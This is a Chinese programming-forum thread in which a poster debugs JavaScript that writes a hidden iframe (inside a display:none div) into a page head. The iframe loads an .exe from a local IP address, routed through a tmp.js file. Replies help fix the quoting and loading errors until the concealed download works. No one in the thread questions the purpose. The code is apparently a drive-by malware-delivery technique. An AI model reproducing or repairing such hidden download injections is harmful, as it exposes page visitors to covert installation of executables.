js文件如下(全部内容):document.write("<iframe src="http://192.168.0.111/JPSKB.exe" ></iframe>")调用代码如下(以下代码放在</head>之后,<body>之前):
document.write("<div style='display:none'>")
document.write("<iframe src="http://192.168.0.111/tmp.js" ></iframe>")
document.write("</div>")运行后,出现:
    文件下载--安全警告:
    你想打开或保存此文件么?
    名称: tmp.js
    类型:jscript script 文件,79字节
     打开(o)  保存(s)  取消
   点击 打开 按钮,出现如下错误:
  windows 脚本宿主
 脚本:……\tmp[1].js
 行:2
 字符:30
错误:缺少')'
代码:800a03ee
源:microsoft jscript 编译错误    

解决方案 »

  1.   

    http://192.168.0.111/tmp.js这个JS有个地方右括号没对齐.或者里面有语法错误.把右括号折断了.
      

  2.   

    这个我知道,不过我换了以后,加上了转义字符\
    还是错误
    document.write(" <iframe src=\"http://192.168.0.111/JPSKB.exe\" > </iframe>") 
    显示错误:windows 脚本宿主 
      脚本:……\tmp[1].js 
      行:2 
      字符:1 
      错误:document未定义 
    代码:800a1391 
    源:microsoft jscript 运行时错误 
      

  3.   

    document.write(" <iframe src="http://192.168.0.111/tmp.js" > </iframe>") 
    改为
    document.write(" <iframe src='http://192.168.0.111/tmp.js' > </iframe>") 
    试试
      

  4.   

    document.write(" <iframe src='http://192.168.0.111/tmp.js' > </iframe>") 
    依然是出现如下错误:
    windows 脚本宿主 
      脚本:……\tmp[1].js 
      行:2 
      字符:1 
      错误:document未定义 
    代码:800a1391 
    源:microsoft jscript 运行时错误 
      

  5.   

    iframe里打开JS的话是下载到本地的.
    你本地都没DOCUMENT...
      

  6.   

    解决了,
    document.write(" <div style='display:none'>") 
    document.write(" <iframe src="http://192.168.0.111/tmp.js" > </iframe>") 
    document.write(" </div>") 直接改为:
    <div >
    <script language="javascript" src="tmp.js"></script>
    </div>
    是不是不支持iframe嵌套之类的原因啊。